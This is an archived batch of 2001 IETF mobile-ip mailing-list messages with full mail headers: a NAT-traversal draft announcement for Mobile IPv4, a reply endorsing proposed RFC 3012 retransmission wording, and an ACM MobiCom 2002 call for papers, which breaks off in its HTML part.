	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA15162;
	Tue, 13 Nov 2001 12:47:52 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADKgPQO010981
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 13 Nov 2001 12:42:25 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fADKgPNE010980
	for mobile-ip-dist; Tue, 13 Nov 2001 12:42:25 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADKgLQO010973
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 12:42:21 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA13850
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 12:42:08 -0800 (PST)
Received: from mailgw.ipunplugged.com (217.134.88.213.host.tele1europe.se [213.88.134.217])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA20223
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 13:41:49 -0700 (MST)
Received: from chardonnay (sparcis.ipunplugged.com [10.0.1.163])
	by mailgw.ipunplugged.com (8.9.3/8.9.3) with ESMTP id VAA02559
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 21:41:44 +0100
From: "Henrik Levkowetz" <henrik@ipunplugged.com>
To: <mobile-ip@sunroof.eng.sun.com>
Subject: [mobile-ip] NAT Traversal
Date: Tue, 13 Nov 2001 21:42:01 +0100
Message-ID: <GMEEKDGLAJJFGAFEMMPIEELGCKAA.henrik@ipunplugged.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <OFB85B8201.82108B66-ON86256B03.00604D8D@3com.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hello folks,

	As was briefly presented at the very end of one of the London Mobile-IP sessions, the widespread use of NATs is found to be a
noticeable problem when deploying MIPv4. Before the London IETF,
3 different drafts were posted which described 2 different aspects of
this problem, and proposed some solutions.

	The authors of the two drafts which touched upon simple NAT/NAPT
traversal have, with lots of good input from other people in the
IETF MIP community, produced a new! fresh! consolidated! draft which
is offered to this list and the working group for consideration:

http://www.ietf.org/internet-drafts/draft-levkowetz-vaarala-mobileip-nat-traversal-00.txt

	We would really appreciate you taking the time to read through
and comment on this draft -- although not maybe as interesting as
BETH or route optimization for MIP :-), this draft is attempting a
solution to a noticeable roadblock on the road to wide deployment of
MIPv4.

	A second draft, from two other authors involved in the discussions, will consider another aspect of the problem: deployment
involving
firewalls and VPNs. This second draft uses the mechanisms presented
in the first draft where appropriate. It will be submitted later.

	Hoping for some good feedback on the NAT/NAPT traversal draft,

	Best regards,

		Henrik

------------------------------------------------------------------------
Henrik Levkowetz +46708321608 henrik@ipunplugged.com www.ipunplugged.com
------------------------------------------------------------------------

  Never test the depth of the water with both feet.



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 13 17:23:05 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA19379
	for <mobileip-archive@odin.ietf.org>; Tue, 13 Nov 2001 17:23:04 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA29914;
	Tue, 13 Nov 2001 14:21:42 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA10315;
	Tue, 13 Nov 2001 14:21:22 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADMKFQO011351
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 13 Nov 2001 14:20:15 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fADMKEcb011350
	for mobile-ip-dist; Tue, 13 Nov 2001 14:20:14 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADMKBQO011343
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 14:20:11 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA20231
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 14:20:13 -0800 (PST)
Received: from mgw-dax2.ext.nokia.com (mgw-dax2.ext.nokia.com [63.78.179.217])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA11841
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 14:20:13 -0800 (PST)
Received: from davir04nok.americas.nokia.com (davir04nok.americas.nokia.com [172.18.242.87])
	by mgw-dax2.ext.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fADMKwQ24515
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 16:20:58 -0600 (CST)
Received: from daebh002.NOE.Nokia.com (unverified) by davir04nok.americas.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5732eaeb38ac12f257079@davir04nok.americas.nokia.com>;
 Tue, 13 Nov 2001 16:20:11 -0600
Received: from daebe007.NOE.Nokia.com ([172.18.242.211]) by daebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Tue, 13 Nov 2001 16:20:10 -0600
content-class: urn:content-classes:message
Subject: RE: [mobile-ip] URGENT - rfc3012 interpretation question
Date: Tue, 13 Nov 2001 16:20:10 -0600
Message-ID: <697DAA22C5004B4596E033803A7CEF444CD0A0@daebe007.NOE.Nokia.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C16C91.5B623759"
Thread-Topic: [mobile-ip] URGENT - rfc3012 interpretation question
Thread-Index: AcFrNbLkA4XqwdciEdWBTgBQi2X+DwBW1yhQ
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
From: "Patil Basavaraj (NET/Dallas)" <Basavaraj.Patil@nokia.com>
To: "'ext Ahmad Muhanna'" <amuhanna@nortelnetworks.com>,
        "Perkins Charles (IPRG)" <charliep@iprg.nokia.com>
Cc: "Pete Wenzel" <wenzel@nortelnetworks.com>,
        "Mobile IP Working Group" <mobile-ip@sunroof.eng.sun.com>,
        "Pat Calhoun" <pcalhoun@diameter.org>
X-OriginalArrivalTime: 13 Nov 2001 22:20:10.0656 (UTC) FILETIME=[5BA32200:01C16C91]
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

This is a multi-part message in MIME format.

------_=_NextPart_001_01C16C91.5B623759
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


Charlie proposed the following text:
>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

>
>Here is the new relevant text, in the same paragraph as your original=20
>quote:=20
>
>      ....      The Foreign Agent SHOULD check that the mobile node is=20
>   actually performing a retransmission, by verifying that the relevant

>   fields of the retransmitted request are the same as represented in=20
>   the visitor list entry for the pending Registration Request (section

>   3.7.1 of [8]).  This verification MUST NOT include the "remaining=20
>   Lifetime of the pending registration", or the Identification field=20
>   since those values are likely to change even for requests that are=20
>   merely retransmissions and not new Registration Requests.  In all=20
>   other circumstances, if the Foreign Agent receives   ....=20
>
>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

>
>Comments?=20
>
>>Ahmad Muhanna:=20
>>I hope you would agree that the following change will satisfy the
need:=20
>>
>>"If a mobile node retransmits a Registration Request with the same=20
>>Identification field and the same Challenge extension, and the Foreign

>>Agent still has a pending Registration Request record in effect for
the=20
>>mobile node, then the Foreign Agent forwards the Registration Request
to=20
>>the Home Agent again (see Registration Retransmission, section
3.6.3[8]).=20
>>In all other circumstances, if the Foreign Agent receives a
Registration=20
>>Request with a Challenge extension containing a Challenge value
previously=20
>>used by that mobile node, the Foreign Agent SHOULD send a Registration

>>Reply to the mobile node containing the Code value STALE_CHALLENGE."=20
>
>Regards,=20
>Charlie P.=20
>
=20
I think the text that Charlie proposes makes it quite clear as to what
the FA must do in order to recognize, if it is a retransmission. So I
would recommend going with Charlie's text in the revision for this
spec.=20
=20
-Basavaraj
=20
=20
=20
=20

------_=_NextPart_001_01C16C91.5B623759
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<TITLE>RE: [mobile-ip] URGENT - rfc3012 interpretation question</TITLE>

<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR></HEAD>
<BODY>
<DIV><BR><FONT face=3DArial color=3D#0000ff size=3D2>Charlie proposed =
the following=20
text:<BR>&gt;=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=20
<BR>&gt;<BR>&gt;Here is the new relevant text, in the same paragraph as =
your=20
original <BR>&gt;quote: <BR>&gt;<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
....&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The Foreign Agent SHOULD check that =
the=20
mobile node is <BR>&gt;&nbsp;&nbsp; actually performing a =
retransmission, by=20
verifying that the relevant <BR>&gt;&nbsp;&nbsp; fields of the =
retransmitted=20
request are the same as represented in <BR>&gt;&nbsp;&nbsp; the visitor =
list=20
entry for the pending Registration Request (section <BR>&gt;&nbsp;&nbsp; =
3.7.1=20
of [8]).&nbsp; This verification MUST NOT include the "remaining=20
<BR>&gt;&nbsp;&nbsp; Lifetime of the pending registration", or the=20
Identification field <BR>&gt;&nbsp;&nbsp; since those values are likely =
to=20
change even for requests that are <BR>&gt;&nbsp;&nbsp; merely =
retransmissions=20
and not new Registration Requests.&nbsp; In all <BR>&gt;&nbsp;&nbsp; =
other=20
circumstances, if the Foreign Agent receives&nbsp;&nbsp; ....=20
<BR>&gt;<BR>&gt;=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=20
<BR>&gt;<BR>&gt;Comments? <BR>&gt;<BR>&gt;&gt;Ahmad Muhanna: =
<BR>&gt;&gt;I hope=20
you would agree that the following change will satisfy the need:=20
<BR>&gt;&gt;<BR>&gt;&gt;"If a mobile node retransmits a Registration =
Request=20
with the same <BR>&gt;&gt;Identification field and the same Challenge =
extension,=20
and the Foreign <BR>&gt;&gt;Agent still has a pending Registration =
Request=20
record in effect for the <BR>&gt;&gt;mobile node, then the Foreign Agent =

forwards the Registration Request to <BR>&gt;&gt;the Home Agent again =
(see=20
Registration Retransmission, section 3.6.3[8]). <BR>&gt;&gt;In all other =

circumstances, if the Foreign Agent receives a Registration =
<BR>&gt;&gt;Request=20
with a Challenge extension containing a Challenge value previously=20
<BR>&gt;&gt;used by that mobile node, the Foreign Agent SHOULD send a=20
Registration <BR>&gt;&gt;Reply to the mobile node containing the Code =
value=20
STALE_CHALLENGE." <BR>&gt;<BR>&gt;Regards, <BR>&gt;Charlie P.=20
<BR>&gt;</FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2>I think the text that =
Charlie=20
proposes makes it quite clear as to what<BR>the FA must do in order to=20
recognize, if it is a retransmission. So I<BR>would recommend going with =

Charlie's text in the revision for this<BR>spec. </FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2>-Basavaraj</FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2></FONT>&nbsp;</DIV>
<DIV><SPAN class=3D000031822-13112001><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2></FONT>&nbsp;</DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------_=_NextPart_001_01C16C91.5B623759--


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 13 18:17:58 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21124
	for <mobileip-archive@odin.ietf.org>; Tue, 13 Nov 2001 18:17:57 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA24914;
	Tue, 13 Nov 2001 15:16:40 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA22899;
	Tue, 13 Nov 2001 15:16:25 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADNFRQO011636
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 13 Nov 2001 15:15:27 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fADNFRvC011635
	for mobile-ip-dist; Tue, 13 Nov 2001 15:15:27 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from eastmail2.East.Sun.COM (eastmail2.East.Sun.COM [129.148.1.241])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADNFPQO011628
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 15:15:25 -0800 (PST)
Received: from onion.east.sun.com (onion.East.Sun.COM [129.148.174.110])
	by eastmail2.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA12058
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 18:15:25 -0500 (EST)
Received: (from glass@localhost)
	by onion.east.sun.com (8.9.3+Sun/8.9.3) id SAA05924
	for mobile-ip@sunroof.eng.sun.com; Tue, 13 Nov 2001 18:15:57 -0500 (EST)
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADKqXQO011142
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 12:52:33 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA29575
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 12:52:16 -0800 (PST)
Received: from tiquini.ece.arizona.edu (tiquini.ece.arizona.edu [128.196.29.23])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA21099
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 13:52:42 -0700 (MST)
Received: from krunz (ECE-DHCP2-203.ece.arizona.edu [128.196.147.203])
	by tiquini.ece.arizona.edu (8.11.0.Beta3/8.11.0.Beta3) with SMTP id fADKqVl23468
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 13:52:32 -0700 (MST)
Message-ID: <01c801c16c85$1e068b00$cb93c480@ece.arizona.edu>
From: "Marwan M. Krunz" <krunz@ece.arizona.edu>
To: <mobile-ip@sunroof.eng.sun.com>
Subject: [mobile-ip] ACM MobiCom 2002 - Preliminary CFP
Date: Tue, 13 Nov 2001 13:52:33 -0700
Organization: University of Arizona
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_01C5_01C16C4A.7193DCE0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

This is a multi-part message in MIME format.

------=_NextPart_000_01C5_01C16C4A.7193DCE0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


Appologies if you receive multiple copies of this Call for Papers.=20
Please feel free to distribute it to those who might be interested.=20

M. Krunz



******************************************************************=20
               Preliminary Announcement and Call for Papers=20

                     *** ACM MobiCom 2002 ***=20
The Eighth Annual International Conference on Mobile Computing and =
Networking=20
       =20
       September 23-26, 2002, Atlanta, Georgia, USA
                       =20
            http://www.acm.org/sigmobile/mobicom/2002/=20
            http://mobicom2002.comet.columbia.edu/

               Sponsored by ACM SIGMOBILE=20

          Submission Deadline: March 1, 2002=20

******************************************************************=20

MobiCom 2002 is the eighth annual conference dedicated to addressing new =
challenges in mobile computing and networking. MobiCom 2002 solicits =
papers describing significant research contributions to the field of =
mobile computing and networking.=20

PAPERS:=20
Authors are invited to submit full papers related to the theory and =
practice of mobile computing and networking. Original research papers =
(that are not currently under review by another conference or journal) =
are solicited. Areas of interest include, but not limited to:=20
=20
*  Applications and computing services supporting mobile users=20
*  Architectures, protocols, and algorithms to cope with mobility, =
limited bandwidth, or intermittent
    connectivity=20
*  Database and data management issues in mobile computing=20
*  Performance of mobile/wireless networks and systems=20
*  Security and privacy of mobile/wireless systems=20
*  Interaction between different layers of mobile/wireless systems=20
*  Integration and interworking of wired and wireless networks=20
*  Adaptive applications and systems for mobile environments=20
*  Distributed-system aspects of mobile systems=20
*  Operating system support for mobility=20
*  Location-dependent applications=20
*  Wireless multimedia systems=20
*  Power management=20
*  Mobile agents=20
*  Pervasive computing=20
*  Wireless sensor networks=20
*  Wireless/mobile service management and delivery=20

All papers will be refereed by the program committee. Accepted papers =
will be published in the conference proceedings. Papers of particular =
merit will be proposed for publication in the ACM/Baltzer Wireless =
Networks (WINET) and Mobile Networks and Applications (MONET) journals.  =


CHALLENGES SESSION:=20
Short papers (maximum of 8 pages) that challenge the mobile computing =
community with new technologies or visionary applications are solicited. =
Such papers should provide stimulating ideas or visions that may open up =
exciting avenues of mobile computing research. Papers will be reviewed =
and should be submitted using the normal submission procedure. Submitted =
papers should be clearly identified as intended for the Challenges =
Session.

SUBMISSION INSTRUCTIONS:
All submissions will be handled electronically. The submission formats =
are limited to PostScript (PS) and PDF. Submitted papers must not exceed =
12 double-column pages, using a font size that is no smaller than 10 =
points.

Further details of the submission instructions can be found at
http://mobicom2002.comet.columbia.edu/submissions

All submitted papers will be judged based on their quality through =
double-blind reviewing, where the identities of the authors are withheld =
from the reviewers. Authors names must not appear in the paper or in the =
Postscript or PDF file. Please direct any questions about the submission =
process to the Program Co-chairs at mobicom2002@comet.columbia.edu.=20


TUTORIALS:=20
Proposals for tutorials are solicited, and will be evaluated based on =
the expertise of the instructors and the relevance of the subject =
matter. Potential instructors should submit a tutorial proposal of at =
most five pages, including a biographical sketch, to the Tutorial =
Co-chairs (cath@ecn.purdue.edu or
nhv@crhc.uiuc.edu).

PANELS:=20
Proposals are solicited for panels that examine innovative, =
controversial, or otherwise provocative issues of interest. Panel =
proposals should not exceed 3 pages, including biographical sketches of =
the panelists. Potential panel organizers should contact the Panel =
Co-chairs (shroff@ecn.purdue.edu or marie-jose.montpetit@nokia.com).

RESEARCH DEMOS:
Proposals for research demos are solicited. Proposals should not exceed =
3 pages and should include a description of the demo and equipment that =
will be used. Proposals for demos should be sent to the Research Demo =
Chair (ron@oit.gatech.edu).

BEST STUDENT PAPER AWARD:=20
Papers with a student as the primary author will be considered for the =
Best Student Paper Award with a cash award of $1,000 USD. Students must =
indicate with their submissions that they would like to be considered =
for this award.

IMPORTANT DATES:=20
*  Paper submissions due: March 1, 2002=20
*  Notification of acceptance: June 30, 2002=20
*  Camera-ready version due: July 31, 2002=20

FOR MORE INFORMATION: Check the conference website or send  email to =
mobicom2002@comet.columbia.edu


ORGANIZING COMMITTEE:=20
* General Chair: Ian F. Akyildiz, Georgia Institute of Technology

* General Vice-Chairs:
   - Jason Y. B. Lin, National Chiao Tung University
   - Ravi Jain, Telcordia

* Program Co-Chairs:
   - Vaduvur Bharghavan, Bytemobile=20
   - Andrew T. Cambell, Columbia University

* Panels Co-Chairs:
   - Ness Shroff, Purdue University
   - Marie-Jose Montpetit, Nokia

* Tutorials Co-Chairs:
   - Catherine Rosenberg, Purdue University=20
   - Nitin Vaidya, University of Illinois at Urbana Champaign

* Publicity Co-Chairs:
   - Chuanyi Ji, Georgia Institute of Technology
   - Marwan M. Krunz, University of Arizona

* Workshop Co-Chairs:
   - Taieb Znati, NSF and University of Pittsburgh
   - Mehmet Ulema, Monmouth Internet Corporation
=20
* Research Demos Chair: Ron Hutchins, Georgia Institute of Technology

* Finance Chair: Edward Knightly, Rice University

* Registration Chair: Suresh Singh, Portland State University

* Sponsorship/Exhibit Chair: Ramesh Govindan, Univ. of Southern =
California

* Local Arrangements Chair: Raghupathy Sivakumar: Georgia Institute of =
Technology

* Steering Committee Chair: Imrich Chlamtac, University of Texas at =
Dallas
  =20

------=_NextPart_000_01C5_01C16C4A.7193DCE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4207.2601" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><BR>Appologies if you receive multiple copies of this Call for =
Papers.=20
<BR>Please feel free to distribute it to those who might be interested. =
</DIV>
<DIV>&nbsp;</DIV>
<DIV>M. Krunz</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV=20
align=3Dleft>************************************************************=
******=20
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;=20
&nbsp;Preliminary Announcement and Call for Papers </DIV>
<DIV align=3Dcenter>&nbsp;</DIV>
<DIV align=3Dleft>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; *** ACM =
MobiCom=20
2002 *** <BR>The Eighth Annual International Conference on Mobile =
Computing and=20
Networking <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; September 23-26, 2002, Atlanta, =

Georgia,=20
USA<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =

<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
<A=20
href=3D"http://www.acm.org/sigmobile/mobicom/2002/">http://www.acm.org/si=
gmobile/mobicom/2002/</A>=20
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
<A=20
href=3D"http://mobicom2002.comet.columbia.edu/">http://mobicom2002.comet.=
columbia.edu/</A></DIV>
<DIV align=3Dleft>&nbsp;</DIV>
<DIV=20
align=3Dleft>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;=20
Sponsored by ACM SIGMOBILE </DIV>
<DIV align=3Dleft>&nbsp;</DIV>
<DIV align=3Dleft>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =

Submission Deadline: March 1, 2002 </DIV>
<DIV align=3Dleft><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV=20
align=3Dleft>************************************************************=
******=20
</DIV>
<DIV>&nbsp;</DIV>
<DIV>MobiCom 2002 is the eighth annual conference dedicated to =
addressing new=20
challenges in mobile computing and networking. MobiCom 2002 solicits =
papers=20
describing significant research contributions to the field of mobile =
computing=20
and networking. </DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><U>PAPERS: <BR></U>Authors are invited to submit full papers =
related to the=20
theory and practice of mobile computing and networking. Original =
research papers=20
(that are not currently under review by another conference or journal) =
are=20
solicited. Areas of interest include, but not limited to: =
<BR>&nbsp;<BR>*&nbsp;=20
Applications and computing services supporting mobile users <BR>*&nbsp;=20
Architectures, protocols, and algorithms to cope with mobility, limited=20
bandwidth, or intermittent</DIV>
<DIV>&nbsp;&nbsp;&nbsp; connectivity <BR>* &nbsp;Database and data =
management=20
issues in mobile computing <BR>*&nbsp; Performance of mobile/wireless =
networks=20
and systems <BR>*&nbsp; Security and privacy of mobile/wireless systems=20
<BR>*&nbsp; Interaction between different layers of mobile/wireless =
systems=20
<BR>*&nbsp; Integration and interworking of wired and wireless networks=20
<BR>*&nbsp; Adaptive applications and systems for mobile environments=20
<BR>*&nbsp; Distributed-system aspects of mobile systems <BR>*&nbsp; =
Operating=20
system support for mobility <BR>*&nbsp; Location-dependent applications=20
<BR>*&nbsp; Wireless multimedia systems <BR>*&nbsp; Power management =
<BR>*&nbsp;=20
